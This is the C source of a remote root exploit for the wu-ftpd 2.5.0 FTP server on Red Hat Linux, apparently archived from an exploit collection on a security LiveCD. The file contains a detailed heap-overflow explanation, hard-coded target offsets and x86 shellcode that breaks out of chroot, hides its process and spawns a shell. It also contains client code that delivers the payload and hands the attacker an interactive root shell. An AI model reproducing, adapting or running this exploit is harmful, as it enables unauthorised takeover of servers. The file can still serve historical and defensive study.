home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wuftpd250-sploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  21KB  |  737 lines

  1. /*
  2.  * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
  3.  *                      chaos that follows a heap overflow. Linux version.
  4.  *
  5.  * C0ded by nuuB [Sep 19, 1999]
  6.  *
  7.  * Compile with:
  8.  *
  9.  *        cc wuftpd250-sploit.c -o wuftpd250-sploit
  10.  *
  11.  * Credits:
  12.  *        typo for interesting discussions and the double combo idea.
  13.  *        edi for the 'eip in PASS' idea.
  14.  *        lcamtuf for finding the bug and posting on bugtraq.
  15.  *        temas for a RH6 box to test this on.
  16.  *
  17.  * Quote:
  18.  *
  19.  * "<typo_> it's wicked... but you can change errcatch and LastArgv at the
  20.  *          same time, thus doing an elite combo and owning the entire world"
  21.  *
  22.  * Below is a detailed description of how the exploit works. You shouldn't
  23.  * have too much trouble understanding what is going on. The code is written
  24.  * for readability and roboustness (i.e not using the 'printf()|nc' style).
  25.  *
  26.  * Have fun, but as always - BEHAVE!
  27.  *
  28.  * /nuuB
  29.  */
  30.  
  31. /*
  32.  * Overflow:
  33.  * 
  34.  *   cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
  35.  *
  36.  * Pseudo call sequence for each received FTP command:
  37.  *
  38.  *   if(command_not_implemented) longjmp(errcatch);
  39.  *   setproctitle("<who>: <command>");
  40.  *   do_<command>();
  41.  *   setproctitle("<who>: IDLE");
  42.  *
  43.  * where
  44.  *
  45.  *   setproctitle(<string>) {
  46.  *     copy <string> to Argv[0] and pad with spaces to LastArgv;
  47.  *   }
  48.  *
  49.  * Egg:
  50.  *
  51.  *    /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
  52.  *    ^- 0           ^- mp_size-255-256            ^- mp_size
  53.  *
  54.  * Pad: A--A=padding/NOP
  55.  * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
  56.  * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
  57.  *
  58.  * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
  59.  *
  60.  *   We can't get eip directly, but as setproctitle() copies data we have some
  61.  *   control over to the area between Argv[0] and LastArgv we can do some neat
  62.  *   stuff. There are several ways to do it, but this exploit uses the three
  63.  *   different methods outlined below.
  64.  *
  65.  * Anon attack:
  66.  *
  67.  *   We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
  68.  *   eip can be snagged in different ways. One way is to overwrite the return
  69.  *   address on the stack for setproctitle(), essentially turning the heap
  70.  *   overflow into a stack overflow. The nature of the exploit forces us to
  71.  *   know the exact place on the stack, and this varies with the environment.
  72.  *   Thus this method is very unreliable, but is still included as we do
  73.  *   this for fun :) A better way is to overwrite the JB_PC part of errcatch
  74.  *   and then cause errcatch to be called by issuing an unimplemented command.
  75.  *   Still, we need two offsets, but both are on the heap. As a bonus
  76.  *   this method can't be stopped by Stack Guard or non-executable stacks.
  77.  *
  78.  *   Required offsets: mapped_path, setproctitle() stack eip / errcatch.
  79.  *
  80.  * Account attack: 
  81.  *
  82.  *   There is no controllable data in the setproctitle("IDLE") call so we use
  83.  *   two CWD's and make use of the setproctitle("CWD") calls. The first CWD
  84.  *   will set the Argv stuff so the second CWD (with our eip) gets written
  85.  *   where we want. The second CWD will have to change the Argv's so that
  86.  *   we don't destroy the eip when the final setproctitle("IDLE") call comes.
  87.  *   In this case we can't write eip to the stack as it will be hosed before
  88.  *   we get a chance to use it. This method works for anonymous too and is
  89.  *   unstoppable by Stack Guard etc.
  90.  *
  91.  *   Required offsets: mapped_path, errcatch.
  92.  *
  93.  * Interesting finding:
  94.  *
  95.  *   When trying to CWD <overflowing component> you get a 250 reply under
  96.  *   RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
  97.  *   the source for wuftpd is the same in both cases. This probably has to do
  98.  *   with the different kernel/libc's and how they handle long paths. Anyhow,
  99.  *   this needs to be taken into account in the double combo attack.
  100.  *
  101.  * Offsets:
  102.  *
  103.  *   The above methods require two offsets to be known exactly. This gives
  104.  *   us a lot of combinations to try. The amount could possibly be reduced
  105.  *   a bit using more eip pointers, but as mapped_path has to be known
  106.  *   the number of combinations is bigger than I think is practical. Thus
  107.  *   there is no option to enter offsets from the command line.
  108.  */
  109.  
  110. #include <stdio.h>
  111. #include <stdlib.h>
  112. #include <string.h>
  113. #include <sys/types.h>
  114. #include <sys/socket.h>
  115. #include <arpa/inet.h>
  116. #include <netdb.h>
  117. #include <errno.h>
  118. #include <unistd.h>
  119. #include <fcntl.h>
  120. #include <signal.h>
  121. #include <ctype.h>
  122.  
  123. extern int errno;
  124.  
  125. /* Offsets that must be known (exactly) */
  126. int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
  127. unsigned long mapped_path;
  128. unsigned long eip_addr;
  129.  
  130. /* Values we want to set the corresponding variables to. Calculated from the
  131.  * above offsets.
  132.  */
  133. unsigned long c0de_addr;
  134. unsigned long owned_Argv0;
  135. unsigned long owned_Argv;
  136. unsigned long owned_LastArgv;
  137.  
  138. #define TOP_OF_STACK 0xc0000000
  139.  
  140. /* Variable that decides if mkd_cwd() aborts on errors or not */
  141. int mkd_cwd_bail_on_error=1;
  142.  
  143. /* Lets start collecting offsets... */
  144.  
  145. struct preset
  146.   {
  147.     char *desc;
  148.     void (*attack)();
  149.     int mpsize;
  150.     unsigned long mp;
  151.     unsigned long eip_addr;
  152.   };
  153.  
  154. void attack_anon();
  155. void attack_any();
  156.  
  157. /* Offsets can be found using gdb, objdump or ltrace */
  158.  
  159. struct preset presets[]=
  160.     {
  161.       {"eip   RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
  162.         attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4
  163.       },
  164.  
  165.       {"ljmp  RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
  166.        attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
  167.       {"ljmp  RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
  168.        attack_anon, 1024, 0x08067504, 0x08070930+5*4},
  169.       {"ljmp  RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
  170.        attack_anon, 4096, 0x08067780, 0x08075520+5*4},
  171.       {"ljmp  RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
  172.        attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},
  173.  
  174.       {"2x    RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
  175.        attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
  176.       {"2x    RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
  177.        attack_any, 1024, 0x08067504, 0x08070930+5*4},
  178.       {"2x    RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
  179.        attack_any, 4096, 0x08067780, 0x08075520+5*4},
  180.       {"2x    RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
  181.        attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},
  182.  
  183.       {0,0,0,0,0}
  184.     };
  185.  
  186.  
  187. /* Some stuff we need */
  188.  
  189. int ctrl;
  190. int verbose;
  191. char *local_hostname;
  192.  
  193. char *target_host;
  194. int   target_port;
  195. char *target_user=0;
  196. char *target_pass=0;
  197. char *target_dir=0;
  198.  
  199. /*
  200.  * This c0de breaks out of chroot() and then goes through a lot of trouble
  201.  * to hide the process from the system operator. Finally a shell is spawned.
  202.  *
  203.  * c0de:
  204.  *
  205.  *   setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
  206.  *   chroot("."); hide_process(); execve("/bin/sh");
  207.  *
  208.  * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
  209.  */
  210.  
  211. /* Not optimized for space as we got plenty of room */
  212.  
  213. #define C0DE_SIZE 402
  214.  
  215. char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
  216.             "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
  217.             "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
  218.             "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
  219.             "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
  220.             "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
  221.             "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
  222.             "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
  223.             "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
  224.             "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
  225.             "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
  226.             "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
  227.             "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
  228.             "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
  229.             "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
  230.             "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
  231.             "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
  232.             "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
  233.             "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
  234.             "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
  235.             "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
  236.             "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
  237.             "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
  238.             "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
  239.             "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
  240.             "\xeb\x81";
  241.  
  242. void usage()
  243. {
  244.   int i;
  245.  
  246.   printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
  247.          "Usage: wuftpd250-sploit <target> <type>\n\n"
  248.          "<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"
  249.  
  250.          "Type Neeq  Distro  RPM                             Banner date\n"
  251.          "---- ----  ------  ------------------------------- ----------------------------\n");
  252.  
  253.   for(i=0; presets[i].desc; ++i)
  254.     {
  255.       if(presets[i].mpsize)
  256.         printf("%2d)  %s\n", i, presets[i].desc);
  257.     }
  258.  
  259.   printf("\n"
  260.          " eip   = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
  261.          " ljmp  = errcatch JB_PC overwrite (heap, anonymous only)\n"
  262.          " 2x    = errcatch JB_PC overwrite using 2x combo (heap)\n");
  263.   exit(0);
  264. }
  265.  
  266.  
  267. void parse_url(char *url)
  268. {
  269.   char *u, *s;
  270.  
  271.   u=strdup(url);
  272.   if((s=strrchr(u, '@')))
  273.     {
  274.       *s++=0;
  275.       target_user=u;
  276.       u=s;
  277.       if(!(s=strchr(target_user, ':'))) usage();
  278.       *s++=0;
  279.       target_pass=s;
  280.     }
  281.   target_host=u;
  282.   if((u=strchr(u, '/')))
  283.     {
  284.       target_dir=strdup(u);
  285.       *u=0;
  286.     }
  287.   if((s=strchr(target_host, ':')))
  288.     {
  289.       *s++=0;
  290.       if(!isdigit(*s)) usage();
  291.       target_port=atoi(s);
  292.     }
  293.   else
  294.     target_port=21;
  295. }
  296.  
  297.  
  298. void baile(char *s)
  299. {
  300.   printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
  301.   exit(1);
  302. }
  303.  
  304.  
  305. void bail(char *s)
  306. {
  307.   printf("*** %s\n", s);
  308.   exit(1);
  309. }
  310.  
  311.  
  312. /* Should work on all platforms */
  313.  
  314. char *htol_LEstr(unsigned long num)
  315. {
  316.   static unsigned char buf[5];
  317.   unsigned long n;
  318.  
  319.   n=htonl(num);
  320.   buf[0]=(n>>24)&0xff;
  321.   buf[1]=(n>>16)&0xff;
  322.   buf[2]=(n>>8)&0xff;
  323.   buf[3]=n&0xff;
  324.   buf[4]=0;
  325.  
  326.   if(strlen(buf) != 4 ||
  327.       strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/'))
  328.     {
  329.       printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
  330.       bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
  331.     }
  332.   return buf;
  333. }
  334.  
  335.  
  336. int connect_host()
  337. {
  338.   char *p;
  339.   int fd;
  340.   struct sockaddr_in target, me;
  341.   struct hostent *he;
  342.   int me_len;
  343.  
  344.   /* Connect to victim */
  345.   memset(&target, 0, sizeof(struct sockaddr_in));
  346.   target.sin_family=AF_INET;
  347.   if(!inet_aton(target_host, &target.sin_addr))
  348.     {
  349.       if(!(he=gethostbyname(target_host)))
  350.         baile("Unable to resolve victim hostname.");
  351.       memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
  352.     }
  353.   target.sin_port=htons(target_port);
  354.   if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
  355.   if(connect(fd, &target, sizeof(target))) baile("connect() failed");
  356.  
  357.   /* Get local hostname */
  358.   me_len=sizeof(me);
  359.   if(getsockname(fd, &me, &me_len))
  360.     baile("Unable to determine local hostname!");
  361.   if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
  362.     local_hostname=strdup(he->h_name);
  363.   else if((p=inet_ntoa(me.sin_addr)))
  364.     {
  365.       strcpy(local_hostname, p);
  366.     }
  367.   else
  368.     baile("Unable to determine local hostname!");
  369.  
  370.   printf("*** Local hostname: %s\n", local_hostname);
  371.   return fd;
  372. }
  373.  
  374.  
  375. char *get_response_str()
  376. {
  377.   static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
  378.   char *p;
  379.  
  380.   p=buf;
  381.   while(read(ctrl, p, 1) == 1)
  382.     {
  383.       if(*p == '\r')
  384.         {
  385.           *p++=0;
  386.           while(read(ctrl, p, 1) == 1 && *p != '\n')
  387.             ;
  388.           if(buf[3] == ' ')
  389.             {
  390.               if(verbose == 1)
  391.                 printf("%4.4s\n", buf);
  392.               else if(verbose >= 2)
  393.                 printf("%s\n", buf);
  394.  
  395.               return buf;
  396.             }
  397.           p=buf;
  398.           continue;
  399.         }
  400.       ++p;
  401.     }
  402.   bail("Server disconnected.");
  403.   return 0; /* Never reached */
  404. }
  405.  
  406.  
  407. int get_response()
  408. {
  409.   char *s;
  410.  
  411.   s=get_response_str();
  412.   if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
  413.     bail("Illegal response from server.");
  414.   return atoi(s);
  415. }
  416.  
  417.  
  418. void send_command(unsigned char *cmd)
  419. {
  420.   if(verbose == 1) printf("--> %4.4s\n", cmd);
  421.   if(verbose >= 2) printf("--> %s\n", cmd);
  422.   while(*cmd)
  423.     {
  424.       if(write(ctrl, cmd, 1) != 1) baile("write failed");
  425.       if(*cmd == 0xff) /* 0xff -> IAC IAC */
  426.         if(write(ctrl, cmd, 1) != 1) baile("write failed");
  427.       ++cmd;
  428.     }
  429.   if(write(ctrl, "\r\n", 2) != 2)
  430.     baile("write failed");
  431. }
  432.  
  433.  
  434. int mkd_cwd(char *dir)
  435. {
  436.   char buf[1024];
  437.   int r;
  438.  
  439.   sprintf(buf, "MKD %s", dir);
  440.   send_command(buf);
  441.   r=get_response();
  442.   if(r !=  257 && r != 521)
  443.     {
  444.       printf("*** Failed to create dir (reply=%d)\n", r);
  445.       bail("Aborting.");
  446.     }
  447.   sprintf(buf, "CWD %s", dir);
  448.   send_command(buf);
  449.   r=get_response();
  450.   if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
  451.   return r;
  452. }
  453.  
  454.  
  455. /* update_buffer() + shovel_data() moves data between the shell and the
  456.  * local terminal.
  457.  */
  458.  
  459. #define BUFSIZE 128
  460.  
  461. int update_buffer(char *buf, int *idx, int thisone, int direction)
  462. {
  463.   if(thisone < 0)
  464.     {
  465.       if(errno == EINTR || errno == EWOULDBLOCK)
  466.         return 0;
  467.       return 1;
  468.     }
  469.   if(!thisone)
  470.     return 1;
  471.   if(direction < 0)
  472.     {
  473.       if(thisone < *idx)
  474.         memmove(buf, &buf[thisone], *idx-thisone);
  475.       *idx-=thisone;
  476.     }
  477.   else
  478.     *idx+=thisone;
  479.   return 0;
  480. }
  481.  
  482.  
  483. void shovel_data(int netfd)
  484. {
  485.   fd_set R,W;
  486.   char obuf[BUFSIZE], ibuf[BUFSIZE];
  487.   int o, i;
  488.   int done;
  489.  
  490.   fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
  491.   fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
  492.   fcntl(netfd, F_SETFL, O_NONBLOCK);
  493.  
  494.   o=i=done=0;
  495.   while(!done)
  496.     {
  497.       FD_ZERO(&R);
  498.       FD_ZERO(&W);
  499.       if(i > 0) FD_SET(STDOUT_FILENO, &W);
  500.       if(i < BUFSIZE) FD_SET(netfd, &R);
  501.       if(o > 0) FD_SET(netfd, &W);
  502.       if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
  503.  
  504.       select(netfd+1, &R, &W, 0, 0);
  505.  
  506.       if(FD_ISSET(STDOUT_FILENO, &W))
  507.         done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
  508.       if(FD_ISSET(netfd, &W))
  509.         done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
  510.       if(FD_ISSET(STDIN_FILENO, &R))
  511.         done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
  512.       if(FD_ISSET(netfd, &R))
  513.         done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
  514.     }
  515. }
  516.  
  517.  
  518. /* Do the stuff common to the attacks */
  519.  
  520. int do_prologue()
  521. {
  522.   char buf[1024];
  523.   char *s, *t;
  524.   int pos;
  525.  
  526.   verbose=2;
  527.   mkd_cwd_bail_on_error=1;
  528.  
  529.   if(get_response() != 220) bail("No welcome banner.");
  530.   sprintf(buf, "USER %s", target_user);
  531.   send_command(buf);
  532.   if(get_response() != 331) bail("USER failed.");
  533.   sprintf(buf, "PASS %s", target_pass);
  534.   send_command(buf);
  535.   if(get_response() != 230) bail("PASS failed.");
  536.   if(target_dir)
  537.     {
  538.       sprintf(buf, "CWD %s", target_dir);
  539.       send_command(buf);
  540.       if(get_response() != 250) bail("CWD <writable dir> failed.");
  541.     }
  542.   send_command("PWD");
  543.   s=get_response_str();
  544.   if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
  545.     bail("Unable to get current directory.");
  546.  
  547.   /* Pos is how much of mapped_path is used so far (excluding NULL) */
  548.   pos=(t-(s+5));
  549.  
  550.   printf("*** Creating deep directory. This may take some time...\n");
  551.   verbose=0;
  552.  
  553.   /* Align to 256 bytes (excluding trailing /) */
  554.   memset(buf, 'A', sizeof(buf));
  555.   buf[256-(pos+1)]=0;
  556.   mkd_cwd(buf);
  557.   pos+=1+strlen(buf);
  558.  
  559.   /* Keep going */
  560.   memset(buf, 'A', sizeof(buf));
  561.   buf[255]=0;
  562.   while(pos+255 < mapped_path_size-256*2)
  563.     {
  564.       mkd_cwd(buf);
  565.       pos+=1+strlen(buf);
  566.     }
  567.  
  568.   printf("*** Time to bring out the c0de...\n"
  569.          "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
  570.   verbose=1;
  571.  
  572.   /* alarm(0) B} */
  573.   /* c0de[131]=c0de[132]=c0de[255]; */
  574.  
  575.   /* First part of the code */
  576.   strncpy(buf, c0de, 255);
  577.   buf[255]=0;
  578.   mkd_cwd(buf);
  579.   pos+=1+255;
  580.  
  581.   /* Second part + pad */
  582.   memset(buf, 'A', sizeof(buf));
  583.   strncpy(buf, c0de+256, C0DE_SIZE-256);
  584.   buf[255-12-1]=0;
  585.   mkd_cwd(buf);
  586.   pos+=1+strlen(buf);
  587.  
  588.   /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */
  589.  
  590.   return pos;
  591. }
  592.  
  593.  
  594. void attack_anon()
  595. {
  596.   char buf[1024];
  597.   int pos;
  598.  
  599.   if(target_user || target_pass)
  600.     bail("Sorry, this type only works for anonymous FTP...");
  601.  
  602.   printf("*** Logging in as anonymous.\n");
  603.  
  604.   ctrl=connect_host();
  605.  
  606.   /* Calculate offsets */
  607.   c0de_addr=mapped_path+mapped_path_size-255-256;
  608.   owned_Argv=mapped_path+mapped_path_size-8;
  609.   owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
  610.   /* "ftpd: <host>: anonymous/" */
  611.   owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);
  612.  
  613.   target_user="anonymous";
  614.   sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
  615.   target_pass=buf;
  616.  
  617.   pos=do_prologue();
  618.  
  619.   /* This last block starts at mapped_path[mapped_path_size-12] */
  620.   memset(buf, 'A', sizeof(buf));
  621.   /* Skip eeee for this method */
  622.   strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
  623.   /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
  624.   strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
  625.   strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
  626.   pos+=1+strlen(buf);
  627.  
  628.   printf("*** Total egg size is %d. Sending final component.\n", pos);
  629.   mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
  630.   mkd_cwd(buf);
  631.   printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
  632.          "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
  633.   /* Cause longjmp(errcatch) - only needed for the errcatch method */
  634.   write(ctrl, "MRCP\r\n", 6);
  635. }
  636.  
  637.  
  638. void attack_any()
  639. {
  640.   char buf[1024];
  641.   int pos;
  642.   int prefixlen;
  643.  
  644.   if(!target_user || !target_pass)
  645.     {
  646.       target_user="anonymous";
  647.       target_pass="cr@ck.er";
  648.       printf("*** Logging in as anonymous.\n");
  649.     }
  650.  
  651.   ctrl=connect_host();
  652.  
  653.   /* Calculate offsets */
  654.   c0de_addr=mapped_path+mapped_path_size-255-256;
  655.   owned_Argv=mapped_path+mapped_path_size-8;
  656.   /* "ftpd: <host>: <user>: CWD " */
  657.   prefixlen=14+strlen(local_hostname)+strlen(target_user);
  658.  
  659.   /* 'anonymous/' pass */
  660.   if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
  661.     prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
  662.  
  663.   pos=do_prologue();
  664.  
  665.   /* First CWD */
  666.   owned_Argv0=eip_addr-prefixlen;
  667.   owned_Argv=mapped_path+mapped_path_size-8;
  668.   owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
  669.  
  670.   memset(buf, 'A', sizeof(buf));
  671.   strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
  672.   strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
  673.   strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
  674.   pos+=1+strlen(buf);
  675.   printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
  676.   verbose=1;
  677.   printf("*** Round-house kick.\n");
  678.  
  679.   mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
  680.   if(mkd_cwd(buf) == 250)
  681.     {
  682.       send_command("CWD .."); /* Back up if the chdir() was successful */
  683.       get_response();
  684.     }
  685.  
  686.   /* Second CWD.
  687.    *
  688.    * Borrow some room near TOP_OF_STACK ("free space") as a safe place for
  689.    * the remaining times setproctitle() is called.
  690.    */
  691.   owned_Argv0=TOP_OF_STACK-8;
  692.   owned_LastArgv=TOP_OF_STACK-1;
  693.  
  694.   strncpy(buf, htol_LEstr(c0de_addr), 4);
  695.   strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
  696.   strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
  697.  
  698.   printf("*** Elite-airborne-double-kick-to-the-head as featured in "
  699.          "The Matrix.\n");
  700.   mkd_cwd(buf);
  701.  
  702.   printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
  703.   write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */
  704. }
  705.  
  706.  
  707. int main(int argc, char *argv[])
  708. {
  709.   int i;
  710.  
  711.   if(argc != 3 || !isdigit(*argv[2])) usage();
  712.  
  713.   parse_url(argv[1]);
  714.  
  715.   /* Find the preset */
  716.   for(i=0; presets[i].desc; ++i)
  717.     {
  718.       if(i==atoi(argv[2]))
  719.         break;
  720.     }
  721.   if(!presets[i].mpsize) bail("No such target type.");
  722.  
  723.   mapped_path_size=presets[i].mpsize;
  724.   mapped_path=presets[i].mp;
  725.   eip_addr=presets[i].eip_addr;
  726.  
  727.   (presets[i].attack)();
  728.  
  729.   signal(SIGINT, SIG_IGN);    /* Get rid of accidental ctrl-C */
  730.   write(ctrl, "id\n", 3);     /* assert(0wnage) */
  731.   shovel_data(ctrl);
  732.   write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */
  733.  
  734.   printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
  735.   return 0;
  736. }
  737. /*                    www.hack.co.za              [2000]*/